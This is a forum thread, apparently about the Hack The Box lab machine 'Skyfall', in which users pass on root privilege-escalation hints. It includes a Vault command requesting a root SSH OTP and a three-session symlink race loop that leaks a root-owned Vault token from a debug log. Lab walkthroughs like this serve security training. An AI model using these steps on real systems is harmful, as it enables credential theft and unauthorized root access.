[sharknpls]

Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

[quarantineph2020]

Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

[xiliobingo]

Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

ho to exploit this symlink race condition
please!

[quarantineph2020]

Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

ho to exploit this symlink race condition
please!

Relevant article here: https://hackmd.io/@bachtam2001/BkZkudoLq

You need to open 3 SSH sessions, then:

# first SSH session - infinitely loop the symlink process for target logfile while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done 2>/dev/null # second SSH session - loop to try to access file contents of symlink while true; do cat /dev/shm/symlink.log; done 2>/dev/null # third SSH session (may need to do it a few times) - trigger the creation of the logfile sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd